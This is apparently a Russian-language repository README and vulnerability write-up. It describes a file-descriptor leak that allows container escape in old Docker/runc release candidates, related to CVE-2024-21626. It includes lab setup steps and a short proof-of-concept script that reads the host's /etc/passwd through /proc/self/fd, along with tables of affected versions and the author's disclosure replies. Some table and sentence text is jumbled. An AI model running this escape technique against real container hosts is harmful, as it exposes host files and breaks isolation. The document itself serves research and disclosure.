
Анализирует и эксплуатирует уязвимость выхода из контейнера в устаревших версиях Docker/runc, демонстрируя утечку файловых дескрипторов для доступа к файловой системе хоста, с скриптами настройки и тестирования.
В ходе моего анализа CVE-2024-21626 я обнаружил, что другие старые компоненты Docker также уязвимы к утечке fd (что не упоминается в бюллетене безопасности GHSA-xr7r-f8xq-vfvv). Полное объяснение читайте в моей статье здесь.
Во время установки не отмечайте флажок загрузки обновлений системы.
Перейдите на https://download.docker.com/linux/static/stable/x86_64/ и скачайте старую версию docker-X.Y.Z-ce.tgz для тестирования
Распакуйте архив, скопируйте содержимое в каталог /usr/bin и запустите Docker daemon.
cd Downloads/
tar xzvf <docker-X.Y.Z-ce.tgz>
sudo cp docker/* /usr/bin/
sudo dockerd &
sudo docker version
containerd --version
uname -r
В старых версиях вместо runc используется docker-runc. Поэтому проверьте его:
ls -la /usr/bin | grep docker
-rwxr-xr-x 1 root root 14128576 mar 19 10:54 docker
-rwxr-xr-x 1 root root 8932648 mar 19 10:54 docker-containerd
-rwxr-xr-x 1 root root 8381448 mar 19 10:54 docker-containerd-ctr
-rwxr-xr-x 1 root root 3047368 mar 19 10:54 docker-containerd-shim
-rwxr-xr-x 1 root root 39989264 mar 19 10:54 dockerd
-rwxr-xr-x 1 root root 772400 mar 19 10:54 docker-init
-rwxr-xr-x 1 root root 2534781 mar 19 10:54 docker-proxy
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
ls -la /usr/bin| grep runc
-rwxr-xr-x 1 root root 10232 mar 18 2018 bdftruncate
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
-rwxr-xr-x 1 root root 35000 gen 18 2018 runcon
-rwxr-xr-x 1 root root 39096 gen 18 2018 truncate
Проверьте версию docker-runc/runc
runc --version
docker-runc -v
Запустите checkVulnerability.sh и посмотрите, выводится ли файл в терминал
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
echo ""
done
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git
# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
В этом примере я использовал версию docker-17.03.1-ce.

В этом примере я использовал версию docker-17.03.1-ce.

Ниже приведены результаты моего анализа, сгруппированные по версии Docker и использованной версии runc.
| Версия Docker | Версия runc | Номер утёкшего fd |
|---|---|---|
| docker-18.09.0.tgz | 1.0.0-rc5+dev | ❌ |
Вот скриншот, показывающий три различные уязвимые версии.
| 1.0.0-rc2 | 1.0.0-rc3 | 1.0.0-rc4+dev |
|---|---|---|
![]() | ![]() | ![]() |
Как и в случае с CVE-2024-21626, различные типы атак по-прежнему возможны.
Эта уязвимость значительно отличается от CVE-2024-21626, поскольку:
openat2./run/runc/<container>/, который содержит состояние запущенных контейнеров, а не в каталоге хоста /sys/fs/cgroup.Я обнаружил, что старые версии также уязвимы к той же технике атаки. Хотя сама уязвимость отличается, результат тот же: получение доступа к файловой системе хоста. Главный вывод — не полагаться исключительно на бюллетени безопасности: тщательно проверяйте всё. Полностью понимайте CVE, как он работает, экспериментируйте с ним в безопасной среде и исследуйте крайние случаи.
Я пытался связаться с [email protected], [email protected] и попытаться открыть CVE. Я получил следующие ответы:
| Версия Docker | Версия docker-runc | Номер утёкшего fd |
|---|
| docker-17.03.1-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.03.2-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.06.0-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.1-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.2-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.09.0-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.09.1-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.12.0-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-17.12.1-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-18.03.0-ce.tgz | ❌ | |
| docker-18.06.3-ce.tgz | 1.0.0-rc5+dev | ❌ |
| Запрос | Ответ |
|---|
| [email protected] (19/03/24) | Перечисленные вами версии — это EOL-версии программного обеспечения (примерно 7 лет), которые больше не патчатся и не поддерживаются Docker. Если у вас есть вопросы по поводу версий или формулировок, указанных в существующем бюллетене GHSA-xr7r-f8xq-vfvv («затронутые версии: >= 1.0.0-rc93, <= 1.1.11»), правильным каналом для сообщения об этом является почтовый ящик OCI security: https://github.com/opencontainers/.github/blob/main/SECURITY.md Спасибо, что обратились. Дайте знать, если мы можем сделать что-то ещё. |
| [email protected] (20/03/24) | нет ответа |
| CVE-MITRE (15/05/2024) | Обычно мы не присваиваем CVE ID проблемам, которые существуют только в релиз-кандидатах. https://www.cve.org/CVERecord?id=CVE-2024-21626 затрагивал выпущенные версии runc, например, выпуск 1.1.11. |